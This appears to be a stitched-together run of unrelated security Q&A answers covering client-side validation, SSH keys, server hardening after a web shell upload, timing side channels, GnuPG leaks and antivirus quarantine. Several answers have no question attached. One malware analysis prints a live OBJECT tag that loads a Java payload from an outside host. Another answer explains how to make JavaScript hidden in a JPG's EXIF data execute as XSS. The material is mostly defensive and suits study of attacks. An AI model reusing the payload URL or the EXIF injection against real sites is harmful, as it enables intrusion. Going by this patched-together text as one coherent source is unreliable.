Can a user tamper with my client side code to skip HTML sanitization, if yes, how can I prevent it?

You can never be sure of what happens client side. The client could just be a netcat session, or a Python script that will send forged HTTP requests to your server. Simulating Ajax calls is indeed a nightmare, but after spying some normal browser exchanges with the debugging tools of a browser and/or a network spy like wireshark, it possible if not easy to pass forged requests to the server.

I cannot answer formally yes to the question could [the client] just fill in the email and the password in the Firebase user creation code by editing the code ?, because I'm neither an Ajax nor a Firebase expert. But I am pretty sure that any client side protection mechanism can be by passed after some work.

So the only secure way is to put as much sanitization as you can in client Ajax code, because what is done client side gives a nice user experience and causes no load on server, but to always write a full control server side, assuming that any client verification could have been by-passed.


In the line Enter file... you have chosen an arbitrary filename public_key_ooker. That's why the privake key has been saved to public_key_ooker and public key to public_key_ooker.pub. The name alone doesn't make the private key a public key, but gets you confused.

But you don't necessarily need a key, if you are using password authentication. If you'd rather use public key authentication, which is actually a good idea, the server needs to be aware of your public key: you need to save the line to ~/.ssh/authorized_keys on the server.


Security of data distributed to different cloud providers

Assuming that you don't trust your cloud provider(s) and that an attacker may gain access to your data, no, saving unencrypted data is not going to be particularly secure, even if you're only saving partial data to each provider.   There's no guarantee that an attacker won't be able to guess the missing data from the data he does have (and the more you save, the more he has to work with and the easier this gets unless you're continually increasing the value of n), or that patterns in the data won't cause all of the important parts of a chunk of sensitive data to end up at a single provider.

The security is beside the fact that this mechanism is going to be slow and complicated and require all of your n providers to be up in order for you to get or put data and therefor for your app to function.

The safe way to protect data is to encrypt it using a good implementation of a known algorithm before you send it up to the cloud.   It works. it's proven, and it's simple.


I found a website that lists all the email addresses of Facebook users in UK. What do I do?

To me this looks like a leak and someone uploaded it there. It's safe to assume that not only did this one person upload it to various sites but also that others already downloaded it. It's out there and even tho the specific website you mentioned might be taken down it's not possible to un-publish this. It's already out there. You can ask yourself personally how bad this e-mail leak is for you (I assume you're in the list). Maybe you're receiving lots of Spam. Or maybe nothing happens at all.

No facebook-specific advice can be given but personally I'd say when you are concerned about this then start using different mail accounts for different services. Some mail services allow you to create many mail addresses and look at them in an aggregated view. Once mail addresses behave weird (e. g. receive lots of spam) then maybe you want to rotate addressed for that specific service and/or stop using that service.


What is the best way to lock down web service access permissions?

i have uploaded webshell (WSO 2.1 Web Shell)

Hmmm. If you leave your car keys in the ignition and park your car in a bad area, would you be surprised if it was not there when you get back? Certainly security in depth is a good idea, but what is exposed to code running on your server is not the starting point for hardening your server. Sadly the boilerplate recommendations you followed were, like most of the articles I've seen, a simple checklist of instructions with little explanation or justification.

If you really have taken adequate precautions against code injection (I note that eval and preg_replace() are not disabled in this howto, but things like posix_setuid() are!!!) and have applied all the best practice in securing the platform (which, based on the screenshots, you clearly have not done) and deployment process, then yes, you might then consider restricting what code which bypasses all these controls might do.

To that end, there are some very simple things which will have a big impact;

work out a proper permissions model and apply it
configure apparmor or grsecurity to further constrain the behaviour (selinux sucks)
or run the php in a chroot environment / container if appropriate
use suhosin
find out what extensions and functions your code needs to run and remove extensions / disable functions which are not needed

The single, most valuable thing you can do is learn about what the facilities you have available actually do and hence how they affect your risk.


Change the function such that there are no more side-channels

Both of your suggested implementations have issues.

The first one fails because you still have to worry about timing when comparing hashes, and the == operator is almost certainly not constant time.

The second one fails for two reasons, both of which allow an attacker to easily determine the length of the secret:

You have an early out.
Python's zip truncates to the length of the shortest iterator, so an attacker can keep increasing the length of their input until the time stays the same.


You can carefully replace unsafe calls and properties like eval and innerHTML and then run the script. To be safe, turn off all browser plugins. To be safer, you could do this in a virtual machine.

I've done this for your paticular file. The following happens:

A Java file is loaded using <OBJECT CLASSID="clsid:5852F5ED-8BF4-11D4-A245-080C6F74284" width="1" height="1"><PARAM name="app" value="http://fjetymxvbndyz.bounceme.net/fine/beliees_rights.php?jnlp=b00725b396"/></OBJECT>
This script is loaded. It's a browser plugin version detection library with a payload that checks version and loads different files depending on plugins. Here is a beautified version without the library.


Leaking `.gnupg` directory when private keys are stored on a smart card

There's a good reason this folder normally has permissions set to 700 and it certainly should not be published.

gpg.conf contains your GnuPG configuration. If there's some weak settings, it might be usable information for targeted attacks. Most has some default configuration from the distribution, which makes this the least interesting file.
pubring.gpg contains all your contacts (and your own public keys). It's like leaking your address book, but worse: it possibly has information specifically on all the contacts you would rather communicate in private with.
trustdb.gpg contains your entire trust database. That may reveal weak points if you trust some keys too much, and helps further in mapping your (most private) social network.


My suggestion would be as follows:

Store the PDFs on a LUKS partition (or GPG full-disk / TrueCrypt full-disk), so that theft of the physical disks should not yield the data.
Run a secondary HTTP server whose sole job it is to serve these files. Configure your file permissions such that only that HTTP server can read the PDFs. This provides minimum attack surface for data theft, and prevents the main HTTP server from reading the files.
Set up single sign-on or something similar to authenticate between the two servers.
Only serve the files over HTTPS, with SSL 2.0 and older disabled, preferably with AES-GCM set as the preferred cipher.

Storing them in the database wouldn't make much sense, since access to the disk would still yield the files.


How do I inject JavaScript into a JPG image and execute it when uploaded?

Create a HTML page where you display the photo, and next to it you display the EXIF info. The EXIF javascript should probably be enclosed in HTML script tags. If you don't escape the EXIF info when you display it in the page, it should execute the javascript.


Quarantine or add exclusion for malicious items?

Quarantine: This means that you want your anti-virus software to isolate a malicious or potentially malicious item so that it can't harm your machine.

Add Exclusion: This means that even though your anti-virus thinks an item might be malicious or potentially malicious, you know that it isn't, and so you want your anti-virus to leave it alone and ignore it in the future.  If you choose this options for items that actually are malware, you're setting them loose on your machine to infect you as designed.

The option you want to choose is quarantine.